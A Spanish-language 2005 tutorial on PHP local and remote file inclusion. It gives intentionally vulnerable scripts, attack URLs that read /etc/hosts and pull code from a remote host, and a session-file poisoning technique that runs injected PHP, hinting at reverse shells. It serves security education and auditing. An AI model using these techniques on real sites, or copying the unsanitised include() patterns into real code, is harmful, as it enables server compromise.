You are on page 1of 9

INYECCIóN DE

CóDIGO EN
APLICACIONES
PHP
Autor: Iñaki Rodriguez (2005)
(mra@euskalnet.net)
0 - Introducción

Este sencillo artículo nos introduce un poco en el mundo de las auditorías de


aplicaciones web. En esta entrega nos centraremos en la inyección de código php
dentro de otras aplicaciones.

Esta técnica se basa en encontrar aplicaciones web que tomen como


argumentos un fichero que después pasarán a las funciones de inclusión de PHP.

1 - Las funciones de inclusión de PHP (include(), include_once(), require


() y require_once())

Toda aplicación que pretenda estar bien programada, requiere que sea
estructurada en diferentes componentes. Estos componentes suelen estar
divididos en ficheros, así por ejemplo, una aplicación puede separar la parte de
tratamiento de sql en un fichero, la parte de presentación de los datos en otro y la
lógica de la aplicación en un tercero. Normalmente, la aplicación llamará a estos
ficheros para importar sus funciones, objetos, clases,...

Al estilo de C con su directiva #include "fichero.h", PHP implementa 4


funciones para importar un fichero:

Nota: Sacado de la documentación oficial de php (www.php.net)

- require(): Incluye y evalúa el contenido del archivo especificado. Si el


archivo que se intenta incluir no existe, devuelve un error fatal que para la
ejecución del script.

- require_once(): Incluye y evalúa una única vez el contenido del fichero


especificado. Como su hermana require(), en caso de que el fichero no existe,
devuelve un error fatal.

- include(): Incluye y evalúa el contenido del archivo especificado. Al


contrario que las funciones de la familia require(), en caso de que el fichero
especificado no exista, devuelve un warning y sigue la ejecución del script.

- include_once(): Incluye y evalúa una única vez el contenido del archivo


especificado. Al contrario que las funciones de la familia require(), en caso de que
el fichero especificado no exista, devuelve un warning y sigue la ejecución del
script.

Estas funciones reciben un único argumento, el fichero a incluir dentro de la


aplicación. Nota que el manual dice que incluye y EVALUA, lo cual quiere decir
que no solo añade las funciones que pueda contener el archivo, sino que en caso
de que haya código php fuera de función o incluso texto fuera de los tags de php
(<? ?>), lo evalúa y lo ejecuta. En caso de texto plano, solo lo muestra incluido en
la página desde donde se llama.

Otra particularidad de las funciones de inclusión es la posibilidad de incluir


ficheros ubicados en otro servidor, pasando como argumento la url del fichero. Ej:

<?
include("http://remotehost/file.inc");
?>

Esto descarga la página y la evalúa. Aquí hay que tener presente que para
ser evaluada como código php, la página debe devolverse con los tags de php,
por lo tanto si el servidor remoto gestiona los ficheros con extensión php como
código php, tendréis que cambiar la extensión para que se devuelva sin
interpretar para que nuestro servidor sea el que interprete ese código.

3 - Lectura de ficheros

Uno de los grandes problemas de las aplicaciones web es el exceso de


confianza por parte de sus desarrolladores. Durante la investigación para este
artículo, estuve buscando al azar webs escritas en PHP en busca de posibles
vulnerabilidades. Muchas de ellas eran vulnerables a diferentes tipos de ataques
(SQL Injection en valores numéricos, lectura y/o inyección de código,...). El
problema radica en que no se comprueban lo suficiente o directamente, no se
comprueba los valores que el usuario introduce.

Veamos este trozo de código para comprenderlo mejor:

inyec1.php

<H1><center>Ejemplo de inyección de código php - 1</center></H1>


<p> Estamos viendo: <i>

<?
//Comprobamos si hemos añadido la variable file
(http://localhost/inyec1.php?file=algo)
if($_GET["file"]) {
echo $_GET["file"];

} else {
echo "Nada";
}
?>
</i><p>
<pre>
<?
include($_GET["file"]);
?>
</pre>

Ahora abrimos un navegador y escribimos en la url:

http://localhost/inyec1.php?file=/etc/hosts

Como veréis lo que muestra es el fichero hosts del sistema en texto plano.
También es posible ejecutar código php. Copiad el siguiente código:

inyec1.inc

<li>Esto es una muestra de inclusión de código html y php a la vez


<?
echo "<li>Y aquí está el código php";
?>

Y en el navegador escribimos:

http://localhost/inyec1.php?file=inyec1.inc

Veremos el código html y el código php ejecutado en una página.

4 - Inyección de código en servidores remotos

Otra de las particularidades de la función include() de php es la de poder


incluir ficheros remotos:

http://localhost/inyec1.php?file=http://remotehost/inyec1.inc

Este es uno de los métodos que usaremos para inyectar código php dentro
de la aplicación. La función descarga el fichero del servidor remoto e interpreta el
texto independientemente de la extensión. Por lo tanto, ¿el código php se
ejecutaría en nuestros servidor o en el servidor remoto? Teóricamente en el
nuestro... pero no. Como he dicho antes, php interpreta el texto, por lo tanto hace
falta que el archivo contenga los tags de apertura y cierre de php (<? ?>). Así, si
el otro servidor tiene asociada la extensión .php, nosotros solo veríamos el código
interpretado por el servidor remoto. Para que el invento funcione, el fichero
debería tener una extensión que no fuera interpretada por el servidor remoto, por
ejemplo htm, txt, csv, etc. Cambiadle la extensión al fichero inyec1.inc.php a .txt
y veréis.

5 – Inyección de código mediante variables de sesión

En muchas ocasiones, las aplicaciones que estamos auditando están


programadas para que añadan alguna extensión o algún directorio a la variable
que introducimos como ruta del fichero:

inyec2.php

<H1><center>Ejemplo de inyección de código php – 2 </center></H1>


<p> Estamos viendo: <i>

<?
//Comprobamos si hemos añadido la variable file
(http://localhost/inyec1.php?file=algo)
if($_GET["file"]) {
echo $_GET["file"];

} else {
echo "Nada";
}

?>
</i><p>
<pre>
<?
include(“/var/www/vulnerable”.$_GET["file"]);
?>
</pre>

Esto hace imposible poder inyectar código a través de un servidor remoto.


Sin embargo a veces existe la posibilidad de crear código dentro del propio
servidor. Por defecto, PHP almacena las variables de sesión (aquellas que son
registradas con la función session_register()) en un fichero del estilo
sess_phpsessid donde phpsessid es el valor del id de sesión que proporciona PHP
a través de la función session_start(). Este valor se obtiene mediante la cookie
que envía el servidor, la variable es PHPSESSID.

El siguiente ejemplo de código muestra el ID de sesión que te proporciona


PHP así como un par de variables que vamos a registrar:
inyec3.php

<? session_start(); ?>


<H1><center>Ejemplo de inyección de código php - 3 </center></H1>

<?

if($_GET["id_user"]) {
$_SESSION["id_user"]=$_GET["id_user"];
} else { $_SESSION["id_user"]="0"; }

if($_GET["md5pass"]) {
$_SESSION["md5pass"]=$_GET["md5pass"];
} else { $_SESSION["md5pass"]=md5("anonymous"); }

?>
</i><p>
<pre>
Su ID de sesión es <i> <?echo $_COOKIE["PHPSESSID"]; ?> <br>
Variables: <p>
<li>id_user: <b> <?echo $_GET["id_user"];?></B>
<li>md5pass:<b> <?echo $_GET["md5pass"];?></b>

<br>
<li> Fichero:
<?

if($_GET["file"]) {
echo $_GET["file"].”<p>;
include("/var/www/vulnerable".$_GET["file"]);
} else { echo "Ninguno"; }

?>
</pre>

Bien, vamos a ver como funciona este script. Primero inicia la sesión
(session_start). Esto nos da un PHPSESSID nuevo si no estuviera iniciada. Después
comprueba si se les pasan parámetros a través de la url (método GET). En
concreto le interesan los parámetros id_user y md5pass. En caso de que así sea,
los almacena como variables de sesión. Por ultimo, muestra la información que le
hemos pasado y opcionalmente, un fichero que podemos incluir mediante el
parámetro file de la url. Este es un ejemplo:

http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=mipass
Veremos algo como esto:

Ejemplo de inyección de código php - 3


Su ID de sesión es f67939015b44a3dde47e4e8ca2f8b246

Variables:

id_user: 99
md5pass: mipass

Fichero:
Ninguno

Ahora vamos a ver de que manera php almacena las variables de sesión por
defecto. Vamos a intentar inyectar el fichero donde almacena la variable de
session. Depende de la distribución se almacena en un sitio y otro. En mi caso
(Debian Sarge) se guardan en /var/lib/php4 aunque suelen estar en /tmp. El
fichero por defecto tiene el nombre sess_iddesesion donde iddesesion es la
variable PHPSESSID que nos envía el servidor:

http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=mipass&file=../../../.
./../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246

Hemos tenido que especificar la ruta usando los .. para ir bajando de nivel,
puesto que el script nos añadía /var/www/vulnerable al nombre del fichero que le
pasamos como variable file :

Ejemplo de inyección de código php - 3


Su ID de sesión es f67939015b44a3dde47e4e8ca2f8b246

Variables:

id_user: 99
md5pass: mipass

Fichero:
../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246
id_user|s:2:"99";md5pass|s:6:"mipass";
Ahora vamos a inyectar código aprovechando que las variables que se
pasan al script las almacena en ese fichero:

http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=<?phpinfo();?
>&file=../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246

Y el resultado es:

Ejemplo de inyección de código php - 3


Su ID de sesión es f67939015b44a3dde47e4e8ca2f8b246

Variables:

id_user: 99
md5pass:

Fichero:
../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246
id_user|s:2:"99";md5pass|s:14:"

PHP Version 4.3.10-16

Y así tenemos la manera de inyectar código a través de las variables de


sesión de php. Una vez que hemos conseguido encontrar la vía, lo demás queda a
la imaginación del lector (shells, shells inversas, scripts remotos,...).

6 – Créditos

Actualmente trabajo como Administrador de Sistemas para ACKSTORM


S.L. (www.ackstorm.es) y en mis ratos libres colaboro con varias asociaciones
como:

- Amcbcn (www.amcbcn.org) – Asociación que promueve talleres de radio,


asesora a otras asociaciones en materia asociativa así como en temas
relacionados con las tecnologías de la información.
- Globalchat (www.globalchat.org) – Globalchat es una de las redes de Chat
más antiguas de España. Su visión del IRC es completamente altruista y
desarrolla proyectos propios de IRC.

- ASSL (www.assl-site.net) – Asociación de soporte al Software Libre. Esta


gente nació en la universidad de Mataró y desde sus inicios, ha impulsado el uso
del software libre en todos los ámbitos, no sólo el académico. Organiza charlas y
otros eventos.

- Todo-Linux.com (www.todo-linux.com) – Desde esta web, se informan de


noticias de todo tipo, pero sobre todo de Linux y todo lo que le rodea.
Especialmente recomendable su foro.

También quisiera agradecer a Joan Carles Nuñez (ASSL) por animarme a


terminar el documento así como a mi novia, Lucía Reina, por aguantarme y
esperar estoicamente a que le hiciera caso mientras lo escribía. Si queréis
poneros en contacto conmigo, podéis escribirme a la dirección
mra@euskalnet.net.